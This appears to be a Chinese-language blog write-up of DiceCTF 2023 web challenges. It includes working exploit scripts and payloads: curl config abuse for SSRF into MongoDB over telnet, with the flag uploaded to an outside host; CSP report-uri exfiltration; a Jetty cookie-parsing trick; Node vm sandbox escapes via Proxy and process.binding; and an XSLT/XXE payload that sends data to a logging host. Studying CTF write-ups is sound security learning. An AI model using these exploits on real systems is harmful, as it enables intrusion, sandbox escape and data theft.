雖然過了快兩個月,但還是來補一下筆記。去年 被電得很慘,原本想說過一年了,今年應該會比較好吧,沒想到還是被電爛。
關鍵字:
SSRF mongoDB via telnet protocol
jetty cookie parser
ASI (Automatic Semicolon Insertion)
VM sandbox escape via Proxy
process.binding
瀏覽器的 XSLT + XXE
開頭先貼一下官方的 repo,裡面有程式碼跟解答:https://github.com/dicegang/dicectf-2023-challenges
Web - codebox (30 solves) 這次唯一有解開的一題,還滿有趣的
後端很簡單,就一個會根據 code 的參數調整 CSP 的功能,可以達成 CSP injection:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 const fastify = require ('fastify' )();const HTMLParser = require ('node-html-parser' );const box = require ('fs' ).readFileSync('box.html' , 'utf-8' );fastify.get('/' , (req, res) => { const code = req.query.code; const images = []; if (code) { const parsed = HTMLParser.parse(code); for (let img of parsed.getElementsByTagName('img' )) { let src = img.getAttribute('src' ); if (src) { images.push(src); } } } const csp = [ "default-src 'none'" , "style-src 'unsafe-inline'" , "script-src 'unsafe-inline'" , ]; if (images.length) { csp.push(`img-src ${images.join(' ' )} ` ); } res.header('Content-Security-Policy' , csp.join('; ' )); res.type('text/html' ); return res.send(box); }); fastify.listen({ host : '0.0.0.0' , port : 8080 });
而前端則是長這樣,會把你提供的 code 放到 sandbox iframe 裡面去:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <!DOCTYPE html> <html lang ="en" > <head > <title > codebox</title > <meta charset ="UTF-8" /> <meta name ="viewport" content ="width=device-width,initial-scale=1" /> <style > * { margin: 0; font-family: monospace; line-height : 1.5em ; } div { margin: auto; width: 80%; padding: 20px; } textarea { width: 100%; height: 200px; max-width: 500px; } iframe { border: 1px solid lightgray; } </style > </head > <body > <div id ="content" > <h1 > codebox</h1 > <p > Codebox lets you test your own HTML in a sandbox!</p > <br > <form action ="/" method ="GET" > <textarea name ="code" id ="code" > </textarea > <br > <br > <button > Create</button > </form > <br > <br > </div > <div id ="flag" > </div > </body > <script > const code = new URL(window .location.href).searchParams.get('code' ); if (code) { const frame = document .createElement('iframe' ); frame.srcdoc = code; frame.sandbox = '' ; frame.width = '100%' ; document .getElementById('content' ).appendChild(frame); document .getElementById('code' ).value = code; } const flag = localStorage.getItem('flag' ) ?? "flag{test_flag}" ; document .getElementById('flag' ).innerHTML = `<h1>${flag} </h1>` ; </script > </html >
這題有趣的點在於一開始你會以為它讓你可以改 CSP,是讓你用 sandbox
這個 CSP 規則去做一些事情,然後你就可以跳出 sandbox 之類的,但嘗試過後你會發現沒辦法。
正解其實是用 require-trusted-types-for 'script';
來讓 document.getElementById('flag').innerHTML = flag;
這段被擋下來,再搭配 report-uri https://vps
來回報被擋下來的內容,就可以拿到 flag。
還有另一個小地方是 frame.sandbox = '';
這段也是歸 require-trusted-types-for
管,所以這段會先出錯,因此這段也要跳過。
跳過的方法很簡單,前端的 searchParams.get()
如果你有多個 param,吃的會是第一個參數,而後端如果有多個會變成 array,所以傳 ?code=&code=payload
就可以讓前後端看到的內容不一樣,前端就會認為是空的,跳過那一段。
Web - unfinished (14 solves) 這題的核心程式碼在這:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 app.post("/api/ping" , requiresLogin, (req, res) => { let { url } = req.body; if (!url || typeof url !== "string" ) { return res.json({ success : false , message : "Invalid URL" }); } try { let parsed = new URL(url); if (!["http:" , "https:" ].includes(parsed.protocol)) throw new Error ("Invalid URL" ); } catch (e) { return res.json({ success : false , message : e.message }); } const args = [ url ]; let { opt, data } = req.body; if (opt && data && typeof opt === "string" && typeof data === "string" ) { if (!/^-[A-Za-z]$/ .test(opt)) { return res.json({ success : false , message : "Invalid option" }); } if (opt === "-d" || ["GET" , "POST" ].includes(data)) { args.push(opt, data); } } cp.spawn('curl' , args, { timeout : 2000 , cwd : "/tmp" }).on('close' , (code) => { res.json({ success : true , message : `The site is ${code === 0 ? 'up' : 'down' } ` }); }); });
你可以傳入一個 URL 跟 option 來讓它執行 cURL,其中對於參數的檢查可以用 config 繞過,先用 -o 下載 config 並存到一個叫做 GET
的檔案,然後再用 -K
來使用 config,像這樣:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsimport timehost = 'https://unfinished-27df3c439f8d6dd1.mc.ax' hook_url = 'https://webhook.site/576f330a-c867-4609-b83f-36bbca32abfe' config_url = 'https://gist.githubusercontent.com/aszx87410/a0a710f8bcc351958d107924632888c9/raw/54673c647da2ea04e90a1c67c7a40eb7e99320f6/test.txt' def send_command (url, opt="" , data="" ) : if opt == "" : req_data = { "url" : url } else : req_data = { "url" : url, "opt" : opt, "data" : data } resp = requests.post(host + "/api/ping" , data=req_data) print(resp.status_code) send_command(hook_url) time.sleep(5 ) send_command(config_url, "-o" , "GET" ) time.sleep(5 ) send_command(hook_url, "-K" , "GET" ) time.sleep(5 )
但這是最簡單的部分,最難的部分是 flag 存在 mongoDB 裡面,所以你要想辦法用 cURL 去 SSRF mongoDB。
喔對了,這題不能用 gopher,因為 gopher 被禁用了。
比賽的時候沒想到怎麼弄,弄不出來,賽後看了其他人的解法,可以用 telnet
來做(source: https://discord.com/channels/805956008665022475/805962699246534677/1071901986338897982):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import requestsimport timeurl = 'https://unfinished-9044.mc.ax' with open('raw_packet.txt' , 'wb' ) as fout: fout.write(b'\x92\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xdd\x07\x00\x00\x00\x00\x00\x00\x00\x7d\x00\x00\x00\x02\x66\x69\x6e\x64\x00\x05\x00\x00\x00\x66\x6c\x61\x67\x00\x03\x66\x69\x6c\x74\x65\x72\x00\x05\x00\x00\x00\x00\x10\x6c\x69\x6d\x69\x74\x00\x01\x00\x00\x00\x08\x73\x69\x6e\x67\x6c\x65\x42\x61\x74\x63\x68\x00\x01\x10\x62\x61\x74\x63\x68\x53\x69\x7a\x65\x00\x01\x00\x00\x00\x03\x6c\x73\x69\x64\x00\x1e\x00\x00\x00\x05\x69\x64\x00\x10\x00\x00\x00\x04\xce\x2d\x77\x58\x58\xfd\x41\xc2\x98\xf9' ) print('upload packet contents' ) res = requests.post('%s/api/ping' % url, data = { 'url' : 'http://[...]/raw_packet.txt' , 'opt' : '-o' , 'data' : 'GET' , }) assert res.status_code == 200 time.sleep(5 ) print('upload curl config' ) with open('curl.config' , 'wb' ) as fout: fout.write((""" next url="telnet://mongodb:27017" upload-file="GET" output="flag.txt" no-buffer """ ).strip().encode())res = requests.post('%s/api/ping' % url, data = { 'url' : 'http://[...]/curl.config' , 'opt' : '-o' , 'data' : 'POST' , }) assert res.status_code == 200 time.sleep(5 ) print('download flag' ) try : res = requests.post('%s/api/ping' % url, data = { 'url' : 'http://google.com/' , 'opt' : '-K' , 'data' : 'POST' , }) assert res.status_code == 200 except : pass time.sleep(10 ) print('upload exfil config' ) with open('curl.config' , 'wb' ) as fout: fout.write((""" next url="telnet://[...]:1337" upload-file="flag.txt" """ ).strip().encode())res = requests.post('%s/api/ping' % url, data = { 'url' : 'http://[...]/curl.config' , 'opt' : '-o' , 'data' : 'POST' , }) assert res.status_code == 200 time.sleep(5 ) print('exfil' ) try : res = requests.post('%s/api/ping' % url, data = { 'url' : 'http://google.com/' , 'opt' : '-K' , 'data' : 'POST' , }) assert res.status_code == 200 except : pass
然後還有一個非預期解,就是用 cURL 下載檔案蓋掉 node_modules 裡的東西,這樣 server 再次啟動時就會載入你寫的 JS,然後就輕鬆拿到 flag 了。
Web - jnotes (6 solves) 這題是一個 Java web:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package dev.arxenix;import java.net.URLDecoder;import java.net.URLEncoder;import java.nio.charset.StandardCharsets;import io.javalin.Javalin;import io.javalin.http.Context;import io.javalin.http.Cookie;public class App { public static String DEFAULT_NOTE = "Hello world!\r\nThis is a simple note-taking app." ; public static String getNote (Context ctx) { var note = ctx.cookie("note" ); if (note == null ) { setNote(ctx, DEFAULT_NOTE); return DEFAULT_NOTE; } return URLDecoder.decode(note, StandardCharsets.UTF_8); } public static void setNote (Context ctx, String note) { note = URLEncoder.encode(note, StandardCharsets.UTF_8); ctx.cookie(new Cookie("note" , note, "/" , -1 , false , 0 , true )); } public static void main (String[] args) { var app = Javalin.create(); app.get("/" , ctx -> { var note = getNote(ctx); ctx.html("" " <html> <head></head> <body> <h1>jnotes</h1> <form method=" post" action=" create"> <textarea rows=" 20 " cols=" 50 " name=" note"> %s </textarea> <br> <button type=" submit">Save notes</button> </form> <hr style=" margin-top: 10 em"> <footer> <i>see something unusual on our site? report it <a href=" https: </footer> </body> </html>""".formatted(note)); }); app.post("/create" , ctx -> { var note = ctx.formParam("note" ); setNote(ctx, note); ctx.redirect("/" ); }); app.start(1337 ); } }
雖然說你有個 free XSS,但是 cookie 是 httponly 的,所以你也讀不到。
解法是利用 jetty 奇怪的 cookie parse 行為,如果 cookie 的內容有 "
,那它會讀到下一個 "
為止。
例如說如果有三個 cookie:
note=”a
flag=dice{flag}
end=b”
送出的 header 是:note="a; flag=dice{flag}; end=b"
,最後會被 parse 成一個 note
的 cookie,而不是預期的三個 cookie。
所以重點就是創造出這些 cookie 然後讓瀏覽器用我們想要的順序送出。
Chrome 送 cookie 的順序是 path 最長的先,再來是最近更新的,因此只要這樣就好:
1 2 3 document .cookie = `note="a; path=//` ; document .cookie = `end=ok;"` ; w = window .open('https://jnotes.mc.ax//' )
就可以讓 flag 反映在頁面上,進而拿到 flag。
Web - gift (4 solves) 這題沒仔細看,賽後也還沒研究,只知道有個部分跟 ASI (Automatic Semicolon Insertion) 有關,你看起來是 A,但實際結果是 B,因為 JS 插入分號的機制所導致。
以前也有過類似的題目,滿有趣的,但如果只用肉眼看確實滿難看出來,看來我要再練練了。
Web - jwtjail (3 solves) 這題真是飲恨啊,該找的都找了,lib 的原始碼我也看過好幾遍了,最後還是沒有做出來,差一點。
程式碼長這樣:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 const jwt = require ("jsonwebtoken" );const express = require ("express" );const vm = require ("vm" );const app = express();const PORT = process.env.PORT || 12345 ;app.use(express.urlencoded({ extended : false })); const ctx = { codeGeneration : { strings : false , wasm : false }};const unserialize = (data ) => new vm.Script(`"use strict"; (${data} )` ).runInContext(vm.createContext(Object .create(null ), ctx), { timeout : 250 });process.mainModule = null ; app.use(express.static("public" )); app.post("/api/verify" , (req, res) => { let { token, secretOrPrivateKey } = req.body; try { token = unserialize(token); secretOrPrivateKey = unserialize(secretOrPrivateKey); res.json({ success: true , data: jwt.verify(token, secretOrPrivateKey) }); } catch { res.json({ success: false , data: "Verification failed" }); } }); app.listen(PORT, () => console .log(`web/jwtjail listening on port ${PORT} ` ));
靠著 vm 把你丟進去的 data 放在另一個 context,然後呼叫 jwt lib,因此目的就是在 jwt lib 處理的過程中找到可以 escape 的地方。
而解法是我們可以幫一個 function 加上 proxy,如果呼叫到 function,就會先呼叫到 proxy 的 apply
1 2 3 4 5 6 var p = new Proxy (_ => _, { apply(target, thisArg, argumentsList) { console .log('apply' ) } }) p()
而這個 apply 的第三個參數 argumentsList
是來自外界的 object,就可以靠著這個參數來逃出 VM。
除此之外,雖然 process.mainModule
被刪掉了,但可以用 process.binding("spawn_sync")
來達成執行程式碼。
一個簡單的 PoC 像這樣:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 "use strict" ;const vm = require ("vm" );const ctx = { codeGeneration : { strings : false , wasm : false }};const unserialize = (data ) => new vm.Script(`"use strict"; (${data} )` ) .runInContext( vm.createContext(Object .create({console }), ctx), { timeout : 250 } ); var data = `{ key: { toString: new Proxy(_ => _, { apply(a, b, c) { console.log(c.constructor.constructor("return this")().process.pid) } }) } }` try { data = unserialize(data); console .log(data['key' ].toString()) } catch (err) { console .log(err) }
而賽後的 Discord 討論裡面,也有人提到可以利用雙重 proxy 達成「只要存取 object 的值就可以 escape」,像這樣:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 "use strict" ;const vm = require ("vm" );const ctx = { codeGeneration : { strings : false , wasm : false }};const unserialize = (data ) => new vm.Script(`"use strict"; (${data} )` ) .runInContext( vm.createContext(Object .create({console }), ctx), { timeout : 250 } ); var data = `new Proxy({}, { get: new Proxy(_=>_, { apply(a,b,c) { console.log(c.constructor.constructor("return this")().process.pid) } }) })` try { data = unserialize(data); data['key' ]; } catch (err) { console .log(err) }
作者 writeup:https://brycec.me/posts/dicectf_2023_challenges
Web - impossible XSS (0 solves) 這題很酷,程式碼很簡單:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const express = require ('express' );const cookieParser = require ('cookie-parser' );const app = express();app.use(cookieParser()); app.get('/' , (req, res) => { res.end(req.query?.xss ?? 'welcome to impossible-xss' ); }); app.get('/flag' , (req, res) => { res.end(req.cookies?.FLAG ?? 'dice{fakeflag}' ); }); app.listen(8080 );
你有一個 free xss,但是在 admin bot 裡面有一行 await page.setJavaScriptEnabled(false);
,直接把 JS 關掉。
解法是用 XSLT 加上 XXE,像這樣:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ss = `<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY xxe SYSTEM "https://impossible-xss.mc.ax/flag" >]> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"> <xsl:template match="/asdf"> <HTML> <HEAD> <TITLE></TITLE> </HEAD> <BODY> <img> <xsl:attribute name="src"> https://hc.lc/log2.php?&xxe; </xsl:attribute> </img> </BODY> </HTML> </xsl:template> </xsl:stylesheet>` xml=`<?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="data:text/plain;base64,${btoa(ss)} "?> <asdf></asdf>` payload=encodeURIComponent (xml)
作者的 writeup:https://blog.ankursundara.com/dicectf23-writeups/